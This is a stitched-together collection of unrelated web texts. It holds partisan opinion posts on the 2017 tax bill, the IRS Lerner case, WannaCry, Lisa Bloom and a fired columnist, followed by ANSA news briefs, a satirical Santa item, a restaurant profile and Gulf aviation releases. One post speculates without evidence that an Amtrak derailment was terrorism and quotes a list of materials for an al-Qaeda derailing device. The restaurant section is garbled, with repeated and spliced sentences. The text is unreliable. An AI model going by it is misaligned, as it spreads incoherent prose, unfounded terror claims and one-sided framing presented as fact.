The sweeping tax overhaul embraced by President Donald Trump and Republican lawmakers would impose a $10,000 limit on the combined sum of property and state and local income taxes that a household could deduct. The $10,000 cap will help pay for corporate and personal tax cuts totaling $1.5 trillion over the next decade. Conservatives have argued that unlimited state and local deductions amount to a federal subsidy for the wealthy in high-tax states like New York, New Jersey and California. But many middle class families in those states face disproportionately high housing costs and depend on deducting their state and local taxes. These households could soon pressure states and localities to ease their burden by cutting taxes  which would likely force cuts to social programs and public services.

The article says 73% of Westchester County, New York residents pay over $10,000 in property taxes. That is a worthless piece of information by itself. Why didn't the AP writers tell us the following additional information?

What do the residents of Westchester County pay under the current tax code, and what will they pay under the new code with lower rates? Wouldn't that be important? My guess is that most would pay lower taxes even without the deductions because of the lower tax rates across the board and the expanded child tax credit. AP writers obviously don't want the public to see actual numbers.

What is the yearly income of these residents? Why is the AP so worried about the rich?

What does an average-price house cost in Westchester County? According to Zillow, it is $568,400. Is the public supposed to feel bad for these residents who have the ability to buy homes this expensive? The AP writers obviously think every dime of the property tax is necessary because they have evaluated the budget.

Why should residents from lower-tax states who make less income pay more in federal income taxes so they can subsidize people who make much more in high tax states?

Somehow, AP stenographers and other journalists have been able to go through the budgets of all states, counties, and cities and determined they absolutely can't do with less and all spend their money in a prudent manner. Or they just reprinted Democrat talking points and absolutely do not want individuals and businesses to keep more of the money they earn.

The indoctrination and hyperbole written about tax reform are pathetic. The tax reform bill will make it extremely easy for about 90% of taxpayers who do not itemize. Taxpayers will have only to look at a table and then deduct credits for children and other dependents and pay their taxes. Why are most of the media working so hard to make it look as though this reform is difficult?

The AP and other Democrat sycophants say the debt will skyrocket $1.5 trillion (a garbage prediction), but they never cared when it went up $10 trillion over eight years under Obama despite higher taxes. Why don't the media ever explain that after previous tax cuts, government revenue has gone up substantially because the economy has grown substantially? The answer is that facts don't matter because there is an agenda to push.

The media no longer report "news." They have become "agenda-spreaders."
News broke this morning of a train wreck near Seattle. Specifically, it was an Amtrak train derailment along Interstate 5 between Tacoma and Olympia. TV news and internet news sites are all over the story. The number of fatalities as of this writing is unknown, but there are multiple reported injuries.

From a photo, via the Pierce County Sheriff, the train derailment was at a bridge, an easily accessible location from which to sabotage a section of the railroad track. See the photo below.

Was this mechanical failure or something more sinister? Not to be confused with Brian Ross and his grand pronouncements, this Brian is merely speculating. But it's not blind partisan speculation, as the other Brian is prone to do.

Al-Qaeda has its own magazine. Call it Vanity Fair for the jihadist. The magazine is called Inspire. Check out the cover of issue number 17.

They devoted an entire issue to teaching followers how to derail trains in the U.S. and Europe. Detailed instructions. From Business Insider:

The magazine also features a detailed 18-page-long guide on how to build a "derail tool" with cardboard, an empty plastic container, part of a rubber tyre, pipes, iron wires, screws, sheet metal, and cement. The apparatus does not require any electronic or construction tools so followers can "remove any traces for suspicion." When placed on train tracks, the tool is expected to interfere with the train's movement and cause it to divert from its tracks. As the perpetrator does not physically need to be on the train during the derailment, the operation "is not a martyrdom op" and "can be repeated," the magazine said. It will also be "easy to hide your tracks from forensics" after the attack, it boasted.

Below is a photo of their "derail tool."

Speculation at this point, but certainly plausible based on claims and threats from terrorist groups. Perhaps it was not al-Qaeda, but instead ISIS, or some other affiliated group. The magazine Inspire is readily available online with how-to instructions.

Could it be the failing infrastructure that politicians are always promising to repair? Certainly. But given the recent cover story from the al-Qaeda magazine, other possibilities exist.

It's early, and there will be investigations. Given the media's reluctance to attribute mass shootings or other acts of terror to Islamic terrorists, don't expect to hear my line of speculation on the evening news. This is why I am raising the possibility.

Brian C Joondeph, M.D., MPS is a Denver-based physician and writer. Follow him on Facebook, LinkedIn and Twitter.
The weaponization of the IRS to suppress the organization of conservative nonprofits when the Tea Party movement was in full bloom remains an open sore on our democratic political system. The weight of the most feared agency of the federal government was used to suppress a political movement. Despite the payment of millions of taxpayer dollars to groups that were prevented from getting their status approved because their politics were disagreeable to the incumbent president and his supporters in the federal bureaucracy, the damage cannot be undone, and the perpetrators have suffered no judicial consequences. Lois Lerner, the point woman who invoked the Fifth Amendment in her testimony before Congress, was able to retire with a fat pension and no jail time.

Even worse, the testimony she gave in deposition in a key lawsuit remains sealed by the order of a judge who heard claims of Lerner and her deputy Holly Paz that they had received threats.

Judicial Watch (donate here, please!) thinks we, the people have a right to know what testimony she gave under oath.

Judicial Watch last week asked a federal court to unseal the depositions of Lois Lerner, the former director of the Exempt Organizations Unit of the Internal Revenue Service (IRS), and Holly Paz, her top aide and former IRS director of Office of Rulings and Agreements. Both played key roles in the targeting of conservative nonprofit groups opposed to Obama policies in the run up to the 2012 presidential election. The request came in an amicus curiae brief filed with the U.S. District Court for the Southern District of Ohio, Western Division supporting NorCal Tea Party Patriots' class action lawsuit seeking the unsealing of the depositions (NorCal Tea Party Patriots, et al. v. The Internal Revenue Service, et al. (No. 1:13-cv-00341)). The depositions were sealed by a federal judge after Lerner's and Paz's lawyers claimed the two were receiving threats. Judicial Watch's brief argues that the documents sought may shed light on government misconduct, and the shielding of internal government deliberations does not serve the public's interest. (snip) In addition to the revelation of IRS employees' conduct in the emails uncovered, the records obtained by Judicial Watch [in the course of its FOIA investigation] also sparked investigations into Lois Lerner's emails and IRS' failure to preserve thousands of emails that were potentially relevant to the various investigations about the IRS' treatment of conservative groups. While the federal government has now admitted that the targeting "was wrong" and "for such treatment, the IRS expresses its sincere apology" the IRS continues to this day to withhold from the public in Judicial Watch's main IRS case  email communications with Lois Lerner and/or Holly Paz[.]

The IRS does not have clean hands in the matter of revealing critical information:

In response to Judicial Watch's litigation, the IRS initially claimed that emails belonging to Lerner were supposedly missing. Later, IRS officials conceded that the "missing" emails were on IRS back-up systems. Throughout its litigation, Judicial Watch repeatedly exposed a variety of IRS record keeping inconsistencies, erroneous claims, and failures to produce court-ordered records:

Preventing the public  and the Judicial Watch litigants  from access to all information about this major abuse of government power is ridiculous. I hope the ruling is reversed, and we get to hear what Lerner had to say.
Last May, thousands of computer networks around the world were attacked with a particularly insidious piece of malware known as "wannacry." The attackers demanded ransom ranging from a couple of hundred dollars to several thousand dollars or they would delete reams of data.

Now the Trump administration and private computer security firms have fingered North Korea as the originator of the ransomware.

Politico:

"The attack was widespread and cost billions, and North Korea is directly responsible," Tom Bossert, President Donald Trump's homeland security adviser, wrote in a Wall Street Journal op-ed. The government's conclusion is "based on evidence" and supported by the United Kingdom and private security research firms, he added. The attribution represents an aggressive move by the Trump administration to confront a rising digital menace and seek international unity around the need to combat destructive cyberactivity. "Stopping malicious behavior like this starts with accountability," Bossert wrote. "It also requires governments and businesses to cooperate to mitigate cyber risk and increase the cost to hackers. The U.S. must lead this effort, rallying allies and responsible tech companies throughout the free world to increase the security and resilience of the internet." The Obama administration previously blamed Kim Jong Un's regime for launching a crippling 2014 cyberattack on movie studio Sony Pictures in retaliation for a comedy film that mocked Kim.

How sure are we that it was the Kim regime responsible for the hacks?

Although the U.S. has now publicly pointed the finger at North Korea for two separate high-profile cyber incidents, such accusations are still unusual. The government often declines to comment on who it believes is culpable for major digital attacks. For instance, the U.S. has never formally blamed China for a devastating hack of federal workers' records that compromised millions of secret background check forms, despite widespread belief that Beijing orchestrated the theft. Intelligence officials have historically cautioned that making such accusations could reveal secret information or free up other countries to call out the U.S. over its digital espionage operations. But increasingly, officials believe it is valuable to publicly hold foreign governments accountable for certain types of online aggression. It's a trend that started in the Obama administration and has carried over to Trump's presidency.

There will be skepticism in some quarters who believe that the Trump administration is just looking for an excuse to take out the North Korean regime. But the fact that exposing North Korean cyber-warfare activities risks alerting them to our own capabilities and perhaps even the methods we use to discover how we can track the hacks speaks against some kind of subterfuge by the administration.

Exposing the North Koreans, the Chinese, and the Russians in their efforts to hack our government and businesses is only one part of the equation. The real question is what to do about it. The Obama administration responded to the Sony hack by imposing sanctions on the Kim regime. But that apparently hasn't had any effect on North Korea's cyber-warfare activities.

Many cyber-experts believe that responding in kind to a North Korean attack would be self-defeating. It could easily lead to escalation to the point where Kim could take out something really vital, like a nuclear power plant or our electrical grid. So Trump is not likely to order a significant cyber-attack on North Korean networks.

The only practical response is to harden our networks against cyber-attacks. But in this sort of arms race, offense is usually the best defense. The attacker has the advantage because those designing network protection must still allow the computers to communicate with one another. The exception is in standalone networks like what the Pentagon employs. But even with those networks, there are vulnerabilities.

Someday, a nation-state will go too far and carry out an attack that will seriously harm our economy or infrastructure. At that point, all bets are off, and a full-fledged war fought in cyberspace could be unleashed. That would not be good for anyone, but it may be necessary to protect the country in the future.
A few days ago, news came out that Hollywood-linked lawyer and Harvey Weinstein pal Lisa Bloom was out soliciting under-the-table cash payments to her sex harassment clients from news media outlets and left-wing political action committees. Apparently, someone was grossed out enough about the sales effort to leak it to the press. John Solomon and Alison Spann of The Hill reported:

A well-known women's rights lawyer sought to arrange compensation from donors and tabloid media outlets for women who made or considered making sexual misconduct allegations against Donald Trump during the final months of the 2016 presidential race, according to documents and interviews. California lawyer Lisa Bloom's efforts included offering to sell alleged victims' stories to TV outlets in return for a commission for herself, arranging a donor to pay off one Trump accuser's mortgage and attempting to secure a six-figure payment for another woman who ultimately declined to come forward after being offered as much as $750,000, the clients told The Hill.

Bloom, you recall, was "advising" her old pal Harvey Weinstein for free on how to spin the bombshell revelations that came out last October about what a pig, pervert, and power-monger Weinstein was even as Hollywood and Democratic Party elites bent over backwards to court and succor him. It was a move so stupid and obtuse that she had to backtrack and call it a "colossal mistake," after which she shamelessly chirped, presumably to her law firm: "Let's talk about how I can do better."

Problematic as it is that her money-making effort is an ideologically motivated bid to smear and take down President Trump, it's actually problematic no matter who her target is.

What she is doing is another old Hollywood game, this one perfected by her pal Weinstein, which is to monetize every aspect of a "product," which, in Hollywood, is film.

In Hollywood, one does not merely make a film these days. One must package it, market it, and sell it, well beyond the parameters of mere film. It's not enough to make a Spider-Man movie. One must make deals for spinoffs  Spider-Man t-shirts, Spider-Man tableware, Spider-Man action figures, Spider-Man lunchboxes, Spider-Man screensavers, Spider-Man sandwich baggies, Spider-Man edition cars, Spider-Man popsicles...

Bloom's bid to shake money out of news organizations for victims to tell their "stories" (and take down Trump, no less) is the same kind of commercialization and commodification, not of some sort of Hollywood art, but of what should be merely a statement of truth. Getting someone's mortgage paid off and throwing in a college fund, as if one has just won a game show prize, isn't exactly something that belongs in the picture.

The interesting thing is that the allegation against Bloom has been made more than once. In the original report about how Bloom soiled herself with her sleazy willingness to defend Weinstein for free, actress Rose McGowan accused Bloom of offering her money to get on the "Harvey's Changed" bandwagon. Bloom denied it, but McGowan, who already had sizable credibility in the wake of her role in exposing Weinstein, back when it was dangerous, now sees her credibility grow.

Bloom's bid to monetize and industrialize the picture of a sex harassment victim telling her story and do it on the sly is a despicable commodification of women for personal gain that not only shows Bloom to be the mercenary she is, but is sure to discredit the #MeToo movement if they don't pitch her overboard alongside her buddy Weinstein.
The media are howling a collective "narrative" about how bad tax cuts are and, like a cultie preacher, first tried to convince their audiences that they really didn't want more of their own money in their own pockets. Nosirree, they like it better in the government's. That didn't work, so now they've moved onto the next hive argument, arguing that the tax cuts benefit primarily "the rich," something that will make everyone die of class envy.

The leftists at New York magazine have a prime example of this approach:

Two weeks ago, the Senate passed a tax-cut bill that would have delivered 62.1 percent of its benefits to the richest one percent of Americans. A slew of public opinion polls subsequently showed large majorities of the public opposing the GOP tax plan  with a USA Today/Suffolk University poll declaring it the least popular piece of major legislation in three decades. Virtually all of these surveys found that this widespread opposition was rooted in the perception that the bill would benefit the wealthy and corporations more than it would help the middle class. Republicans listened carefully to this feedback. And during deliberations in conference committee, the GOP leadership decided to change the bill in ways that would alter the distribution of its benefits: Now, instead of giving 62 percent of its tax cuts to the one percent, the Republican tax plan gives 83 percent of its tax cuts to the  one percent.

Somewhat less shrill, Axios makes the same argument, complete with a chart.

So we're all supposed to burn with jealousy that the rich, who make more and pay more...get more. And for that reason, we are supposed to want to give up our own tax breaks  back to the government.

Here's the problem with this appeal to class warfare. The richest 10% pay 90% of the taxes. They've been shelled and strip-mined for the past decade every time a Democrat wants a tax hike. Starting with Nancy Pelosi, who took the House speakership in 2006, the plans were laid in place to spend up a storm and "pay for it" by taxing the rich. The far left, including the genuine communists, has been pushing the "tax the rich" line since at least the 1980s and the Reagan era, in reaction to how popular those tax cuts became. "Tax the rich," the leftists of San Francisco I used to know strategized. They knew what they were doing, and at their apogee, President Obama used the argument  and the act  to harvest taxes from the rich again and again.

So it's no surprise that the rich would get a bigger slice at tax cut time, because they already pay more.

According to Heartland Institute free-market economist Peter Ferrara, writing in the New York Observer:

The latest federal income tax data reported by the IRS shows that the top 1 percent of income earners pay 39.5 percent of all federal income taxes, nearly twice the 20.6 percent share of national income they earn. The entire bottom 50 percent of all taxpayers pay 2.7 percent of federal income taxes, which is only a small fraction (about one fourth) of their share of national income. The top 1 percent, indeed, pay a much bigger share of federal income taxes than the entire bottom 90 percent of income earners, who pay only 29.1 percent of federal income taxes, while earning 53 percent of national income. That means as well that the top 1 percent pay a bigger share of income taxes than the entire middle class combined, defined as the middle 20 percent of income earners.

According to the Pew Research, people making $100,000 or more pay more than 78.9% of taxes:

Now scroll back to the jeremiads of the media. The Wall Street Journal, which is in on this as bad as anyone, dolefully reports at the middle class, those making less than $100,000 a year, will get only 23% of the tax cuts.

By implication, that leaves 77% of the rest of the tax cuts going to corporations and "the rich."

Seventy-seven percent? That sounds suspiciously like Pew's 78.9% figure the rich pay, going on back-of-the-envelope calculations.

The larger tax cut goes because the rich pay a larger amount and proportion of taxes, a huge amount, one that dwarfs what the rest of the citizens pay, yet the tax cut appears to be quite fair and proportional. Many assessments of what the rich pay, by the way, are far higher than the Pew figures.

So much for another junk argument from the press about why we should hate tax cuts and the economic growth that comes of them.

Tell us another one, media narrative hirelings.
Another powerful progressive journalist  one of the most vicious critics of Donald Trump  has lost his job owing to complaints of sexual harassment. It is a shame that the over-the-top nature of his commentary was not the cause of his job loss, but rather "credible accusations" of sexual harassment. (Due process is still a missing factor in the response of most media organizations in the face of claims of harassment.)

The great Don Surber calls our attention to the fate of Stephen Henderson of the Detroit Free Press:

President Trump did not meet the standards of Stephen Henderson, managing director of opinion and commentary at the Detroit Free Press. In column after column this year and last, Henderson called Trump a bigot, a bully, and a harasser of women.



Today the Detroit Free Press fired Henderson.



For sexual harassment.

According to the statement issued by the Freep:

Stephen Henderson, managing director of opinion and commentary, was terminated from the Free Press on Friday, Free Press Editor and Vice President Peter Bhatia announced.

Henderson was much more than a star columnist, who won the Pulitzer Prize for Commentary three years ago:

Stephen Henderson of Detroit Free Press For his columns on the financial crisis facing his hometown, written with passion and a stirring sense of place, sparing no one in their critique.

Henderson was the managing director of opinion and commentary, indicating that his views and the "passion" that Pulitzer prizes were brought to bear on all the opinion pieces in the Detroit Free Press.

But the thing about passion is that it can lead to excess. For instance, see the lead of this 2016 column that the Pulitzer laureate wrote about people he disagrees with:

We really ought to round up the lawmakers who took money to protect and perpetuate the failing charter-school experiment in Detroit, sew them into burlap sacks with rabid animals, and toss them into the Straits of Mackinac. That's harsh. Maybe.

The clear implication is that maybe it is not too harsh. That passed muster with the bosses at Gannett, but a #MeToo accusation was fatal:

At a Dec. 6 news conference, Detroit minister W.J. Rideout III mentioned Henderson and two other members of the local media as individuals who had engaged in acts of sexual harassment. Rideout did not cite any evidence or specifics about Henderson and this week the minister's radio show was suspended over that lack of evidence. The Free Press immediately launched an investigation and subsequently uncovered examples of inappropriate behavior by Henderson with female colleagues dating back several years. Gannett, owner of the Free Press, released this statement: "Effective today, Stephen Henderson will no longer be employed by the Detroit Free Press. The decision was made after an internal investigation was conducted which uncovered credible allegations that Mr. Henderson's behavior has been inconsistent with company values and standards."

Wishing torture and death on people he disagrees with was not enough to get rid of him. I have no idea if the "credible accusations" are true, and think it a shame that the grounds for termination were not his viciousness in print.
Hairless Santa upsets the kids at Bangors Winter Wonderland

You know it must be Christmas because a Winter Wonderland is being shown up as crap. And so it is that Winter Wonderland NI scheduled to turn the Clandeboye Estate in Bangor into a haven for elves and ornamental penguins is no more.

There was a so-called ice rink set up, but the kids didnt want to go anywhere near it and said it smelled of chlorine, said Andrew Webb, who visited the place with his family. The queue to see Santa was large, shambolic and strewn with litter.

Just as it is in Lapland, of course, which is twinned with Swindon.

The gifts we were given for our kids were age inappropriate, in that we were handed unisex gifts that were for ages six to eight and when opened, it was for three years plus, he adds.

Natalie Jackson told BBC Radio Ulster it was the worst Santa Claus outfit she had ever seen My daughter said why can I see the elastic on Santas beard? He had painted on eyebrows, you could not imagine it to be any worse.

Rhonda Elliott also went. How was it? Horrendous, says Rhonda in the Belfast Telegraph. We ended up having to stand in a huge line full of prams with kids getting upset and an elf trying to push us further along even though there was nowhere to go  it was terrible. At least it as actual elf, right. Santas beard didnt have a hole in it for his mouth so he had to pull it down to speak. Horrified kids were shouting: He isnt real!'

Well heres the thing, kids

The ice rink did not have any ice, says another visitor. It was slippery plastic and it was nearly pitch black inside the marquee where it was, so you were risking tripping up over all the ice skates that had been discarded. there were inflatable things that were not even inflated.

Winter Wonderland NI has apologised.

And Santa? Well, hes now back in his North Pole bolt hole continuing his treatment for facial alopecia.

Paul Sorene

Posted: 18th, December 2017 | In: News Comment | TrackBack | Permalink
(ANSA) - Milan, December 18 - A heartbreaking and lavish performance of The Lady of the Camelias opened the Teatro alla Scala's dance season on Sunday, under the direction of Frederic Olivieri in the production by the Royal Theatre of Copenhagen.

The Scala production stars Roberto Bolle as Armand, a role he danced 10 years ago with Alessandra Ferri in her farewell to the Scala.

At that time Bolle was 32, and the past decade has enriched his performance with improved acting and expressive abilities for this role, resulting in a crescendo of refined acrobatics and perfectionism that makes the desperation of Armand, who believes he has been betrayed, all the more intense.

 He painfully discovers how strong his love was for Marguerite, danced by Svetlana Zakharova, in her debut in the role at the Scala.

Both Bolle and Zakharova received applause for their performances, as did the corps de ballet.

 For this narration en pointe, one of the most important living choreographers, John Neumeier, was inspired by the 1848 novel by Alexandre Dumas fil.

He quickly wrote the story just months after the death of famed French courtesan and mistress Marie Duplessis, whose life story also inspired Verdi's Violetta in La Traviata.

 In the story, Marguerite Gautier dies and the contents of her luxurious home are put up for auction.

The stage is set with Viscontian refinement, including three divans - upon one of which rests a portrait of Marguerite - a mirror, a piano, and a few other objects that were precious to her.

In the foreground, there's a music stand with the announcement "Vende" written on it and the date of the sale, 16 mars 1847.

Among the visitors, the curious, the buyers and Marguerite's friends, comes also the old Monsieur Duval, and shortly after, Armand Duval (Bolle) has a desperate outburst, falling to the ground and losing consciousnes.

From that point forward, the story of the Lady of the Camelias takes place in flashbacks: the first meetings between Armand and Marguerite (the charming Svetlana Zakharova, a 37-year-old Ukrainian ballerina); the courtesan's torment in sacrificing herself and her love at the request of Armand's father; the quiet desperation of the young man when he is rejected.

In three acts spanning two hours, 50 minutes, Neumeier uses choreography to psychologically craft the feelings of his characters.

Sensual scenes with seductive pas de deux show the two lovers as they move from radiant passion to indifference, pain, and finally, death.

 Sumptuous dance frescoes fill the stage and create an atmosphere that was considered rather immoral for the time.

Armand sits slumped in a corner of the stage in torment, like a young hopeful lover who is then rejected at his beloved's door.

The production also marks the Scala debut of conductor Theodor Guschlbauer, who directed the Strasbourg Philharmonic for over a decade.


(ANSA) - Alessandria, December 18 - Luxury Italian hat maker Borsalino, which celebrated its 160th anniversary earlier this year, has gone bankrupt after a court on Monday rejected a request for an agreement with creditors, trade union representatives said.

The company, which employs 135 workers, has not released an official statement yet.

The court in Alessandria, where Borsalino is based, rejected a bankruptcy agreement request filed by Haeres Equita srl, the company owned by Swiss entrepreneur Philippe Camperio.

Union representatives, who met with the company's workers in the afternoon, have requested to meet with administrators Stefano Ambrosini and Paola Barisone.

"We have already asked for a meeting with the administrators", said Elio Bricola, a representative of the UIL trade union.

Maria Iennaco, the representative of another trade union, CGIL, said workers at the Borsalino factory in the town of Spinetta Marengo near Alessandria were "tense and nervous".

"This is an absurd situation - there is work, there are orders that have been placed and therefore we can only be angry after the court's decision", Iennaco said, adding that workers are scheduled to meet with Camperio in the coming days.

Last year, Camperio became the new majority stakeholder of the once family-owned Borsalino through Haeres Equita, a private equity investment company.

The transaction was estimated at about 20 million euros, corresponding to Borsalino's debts. The hat maker was able to keep its production in Alessandria as a result and the company's activity continued with a forecast revenue this year of 17 million euros.

The court on Monday rejected a bankruptcy agreement for a second time after ruling against a previous request last December, which paved the way to a new industrial plan presented this spring.

Borsalino, whose hats have been donned by celebrities and Hollywood stars including Humphrey Bogart in 'Casablanca' and Alain Delon and Jean Paul Belmondo in 'Borsalino', was founded by the eponymous family in 1857.

Despite a strong brand, the company lost millions of euros over the past few years, returning to profit only at the beginning of 2015, amid Italy's deep financial crisis and a scandal involving former majority owner Marco Marenco.

Marenco was stripped of his powers in 2008 and arrested in 2015 over alleged bankruptcy and fraud.


BEIRUT - Italy on Tuesday announced a capital grant of 500,000 euros to Lebanon for the construction of new industrial areas under the auspices of the UN organisation for industrial development UNIDO. Italian ambassador to Lebanon Massimo Marotti, UNIDO country representative Cristiano Pasini and Lebanese minister for industry Hussein Haji Hassan attended the presentation. Italy granted an initial 500,000 euros to fund the feasibility study in 2016. In addition, it will make an additional 7 million euros available by way of a bilateral loan to fund the initiative. The project aims to create three new industrial areas identified by the Lebanese ministry of industry.

Overall, 120 million euros are needed to complete the project, according to the feasibility study. The aim is to create between 27,000 and 31,000 jobs.


Italy grants 500,000 euros for new industrial areas Construction project overseen by UNIDO

(ANSAmed) - BEIRUT, DECEMBER 19 - Italy on Tuesday announced a capital grant of 500,000 euros to Lebanon for the construction of new industrial areas under the auspices of the UN organisation for industrial development UNIDO. Italian ambassador to Lebanon Massimo Marotti, UNIDO country representative Cristiano Pasini and Lebanese minister for industry Hussein Haji Hassan attended the presentation. Italy granted an initial 500,000 euros to fund the feasibility study in 2016. In addition, it will make an additional 7 million euros available by way of a bilateral loan to fund the initiative. The project aims to create three new industrial areas identified by the Lebanese ministry of industry.



Overall, 120 million euros are needed to complete the project, according to the feasibility study. The aim is to create between 27,000 and 31,000 jobs.



(ANSAmed).




Egypt: American University scraps ban on veil AUC revises decision of banning the niqab face veil

(ANSAmed) - ROME, DECEMBER 19 - The American University in Cairo (AUC) has decided to withdraw its decision to ban the niqab, a Muslim veil that covers the face with the exception of the eyes, inside its campus, Al Arabiya reports.



The AUC had announced last week that it would ban access to women studying or working at the university if they wore the full-face veil. The university then communicated by email that it had withdrawn the ban.



According to the email, a number of AUC students and faculty members expressed concerns over the decision to ban the niqab.



The administration said further talks will be held regarding the decision.



The ban had been issued last week over security concerns.



(ANSAmed).




PARIS - A first group of 19 refugees landed at Charles de Gaulle airport on Tuesday morning as part of a commitment by President Emmanuel Macron to resettle 3,000 by the end of 2019.

The group consists of Sudanese nationals and a family from the Central African Republic, who all arrived at dawn on a plane from N'Djamena. Two more groups are expected on Wednesday.

All have been living in a camp run by the UN refugee agency UNHCR. The refugees were given their new identity documents and were then driven to Thal-Marmoutier in the Bas-Rhin department in eastern France, where they will stay in a large monastery housing a small group of religious for 4 months. Thereafter, they will be steered towards "permanent housing".


ROME - Yemen's pro-Iranian Houthi rebels said on Tuesday that they launched a ballistic missile against the Saudi royal palace in Riyadh, the AP reports. Other local sources said the Saudis announced that they intercepted the missile.



A strong explosion was heard in the capital where eye-witnesses said they saw a cloud of smoke, according to local media.

According to pan-Arab television al Arabiya, the missile was intercepted south of the Saudi capital Riyadh.

On November 5, the Houthis fired a ballistic missile against Riyadh's international airport. The missile was intercepted and destroyed by the Saudi air defense system in that instance as well.

Saudi Arabia at the time accused Iran of providing ballistic missiles to the Houthis but Tehran denied the allegation.

US ambassador to the UN, Nikki Haley, has recently announced concrete evidence that the ballistic missiles fired by the rebels were made in Iran. The Islamic Republic again denied any involvement in the incident.(ANSAmed)
TUNIS - The United Nations High Commissioner for Refugees (UNHCR) does not plan to create refugee camps in Tunisia for those who have been deported from Libya due to mistreatment, Tunisian news agency Tap reports, quoting the agency's representative in the North African country, Mazin Abu Shanab. Shanab was also quoted as saying that it will be possible to send back the refugees and migrants to their home countries, including Chad and Niger.

The UNHCR office in Libya is closely monitoring the situation and the condition of migrants in Libya, Shanab added on the sidelines of a training session in Medenine on refugees.

Refugees who arrive in Tunisia are processed on a case-by-case basis and their number isn't as high as to justify housing them in a camp, the UNHCR representative said. According to official data provided by the UN agency, Tunisia currently hosts 650 refugees, mostly Syrian nationals, and some 300 are in Medenine.
Western Balkans: EU, 2018 is a unique opportunity forward Mogherini hosted the six PM in Brussels. 3 keys events ahead

(ANSAmed) - BRUXELLES, 19 DIC - 2018 will provide a "unique opportunity" for the region of the Western Balkans "to make irreversible steps forward in its EU integration, provided that the utmost priority is given to the necessary reforms, in particular on rule of law, justice, and fundamental rights". It is the outcome of an informal gathering in Brussels between the EU High Representative Federica Mogherini, and the six Prime Ministers of the Western Balkans to discuss the situation in the region and in particular the opportunities to advance the region's European Union integration in 2018. All the six leaders attended the meeting.



A strong cooperation and good neighborly relations in the region are of the utmost importance for Brussels, though still hard to conceive. The leaders underlined their "deep determination and interest" in strengthening their relations and "promoting regional understanding". Mogherini pointed out the "importance of the ongoing discussions between Presidents Hashim Thaci and Aleksandar Vucic to advance in the EU-facilitated dialogue for normalisation of relations between Serbia and Kosovo".



Three main European events are on top of the agenda for the Western Balkans in 2018. First, the Bulgarian EU presidency that will begin in January and will focus also on the Western Balkans region to allow further progress. Then, in February, the European Commission and the EU Commissioner for Enlargement Johannes Hahn, will publish a strategy for the entire region.



Finally, EU and Western Balkans will hold a summit in Sofia on May, 17th. The Commission aims to "irreversible steps forward" by the six countries towards EU by the end of its current mandate, in 2019.




Ristorante Trippini, I still have vivid memories of the breathtaking view that greeted me when I entered the restaurant. The restaurant's layout is done in a way that the guests can have full visual access to the panoramic window that covers the entire wall that overlooks Corbara Lake and the Tiber Valley. On a beautiful day, it's hard to extract your attention away from the scenery. Until the plates of Chef Paolo Trippini start to arrive on the table. The restaurant's layout is done in a way that the guests can have full visual access to the panoramic window that covers the entire wall that overlooks Corbara Lake and the Tiber Valley. On a beautiful day, it's hard to extract your attention away from the scenery.

At Ristorante Trippini, you can get the best of the two worlds of Umbria in one sitting. The stunning landscape and the rich gastronomy. Its proximity to Rome makes it an ideal place to discover a part of Umbria. Civitella del Lago is a small ancient Roman town that has an elevation of 476 meters and dominates the artificial lake of Corbara. For that, the position is a great terrace in viewing the magnificent view below it. The stunning landscape and the rich gastronomy. Its proximity to Rome makes it an ideal place to discover a part of Umbria.. For that, the position is a great terrace in viewing the magnificent view below it.

In 1964, Ristorante Trippini found its home under the name Da Peppe Se Pappa that was run by Giuseppe and Giulia, Paolo Trippini's grandparents. It was a simple village trattoria that was famous for its grilled meat and homemade pasta dishes. It evolved into a restaurant that gained recognition from Italian food guides in 1973 when Adolfo Trippini and his wife Angela, Paolo's parents, took over. By 1979, the identity of the restaurant was changed to It was a simple village trattoria that was famous for its grilled meat and homemade pasta dishes. It evolved into a restaurant that gained recognition from Italian food guides in 1973. By 1979, the identity of the restaurant was changed to Ristorante Trippini. In 2006, Paolo took over after his studies and professional kitchen experiences both in restaurants in Italy and abroad.

Paolo Trippini continues to cook what was handed down to him by his father, Adolfo. A cuisine that is rooted firmly to tradition but with openness to creativity and innovation. The restaurant continues to accumulate recognition in the gastronomic world including the important Restaurant of the Year Award on the Bibenda Guide in 2009. In 2015, it became a member of the Jeunes Restaurateurs d'Europe (JRE), an association of restaurants worldwide that brings together the best representatives of high cuisine where the chefs' passion for food and distinction are accentuated. At present, he teaches cooking courses at Gambero Rosso and he is also maintaining another restaurant at Hotel La Badia in Orvieto (Italy). an association of restaurants worldwide that brings together the best representatives of high cuisine where the chefs' passion for food and distinction are accentuated.





Ristorante Trippini has an ample menu that's rich in Umbrian aromas and flavors that is uniquely enhanced by the expertise of Paolo. It's a thorough walk on the Umbrian soil, with its particular tastes amalgamated with diverse and unexpected flavors. The surprising side of gastronomy takes out the adventurous side of our palates and at Ristorante Trippini, expect to be indulged in optimum neoteric gastronomy. It's a thorough walk on the Umbrian soil, with its particular tastes amalgamated with diverse and unexpected flavors.









The entries in the menu are quite enticing but if you are undecided, go for the tasting menus with a variation of number of tasting dishes and the possibility to pair them with wines selected for each dish. Ore Dodici: 2 tasting dishes (25), Tradizione: 4 tasting dishes (40) with 3 wines for pairing (+15), Proposto dello Chef: 5 tasting dishes (50) with 5 wines for pairing (+25), La Nostra Storia: 7 tasting dishes (75), A Mano Libera: 10 tasting dishes (90).







Via Italia, 14

Civitella del Lago - Baschi (TR), Italy

Tel: +39 07 44950316

Email: info@ristorantetrippini.it





Open everyday for lunch and dinner except Mondays




Dubai International along with Singapore Changi International and Hong Kong International Airport were the three international hubs that were voted to the top by readers of Conde Nast Traveller Middle East in the Favourite Airport for Layover category.



We are very thankful to our customers for voting us as their favourite airport for layovers. For us this is the ultimate form of endorsement - our customers acknowledging and appreciating all our efforts to enhance the range, choice and quality of our service offerings at DXB, with their votes, said Anita Mehra, Senior Vice President of Communications & Reputation at Dubai Airports.

DXB was voted as the favourite among the international hubs based on 24/7 availability of a wide variety of contemporary food and beverage options across the terminals, a top-class range of retail brands, the comfort of airside hotels, and unique services such as concourse spa treatments and sleeping pods.



The Conde Nast Traveller Readers' Choice Awards Middle East are among region's best known annual awards, honouring the best names in luxury travel and hospitality.




Attended by more than 50 entrepreneurs from the Khalifa Fund for Enterprise Development and the Mohammed Bin Rashid Establishment, the forum included a workshop about EAGs procurement policies and procedures, as well as, forthcoming commercial opportunities with the Funds members.



The entrepreneurs learnt about ways to enhance the entrepreneurship environment for their projects which will enable them to develop their services and products.



Adil Al-Mulla, Vice President Group Procurement and Supply Management, Etihad Aviation Group, said: We constantly encourage government entities and big national companies to follow the example of Etihad Aviation Group in the field of supporting small and medium enterprises by reducing the restrictions to give them contracts.



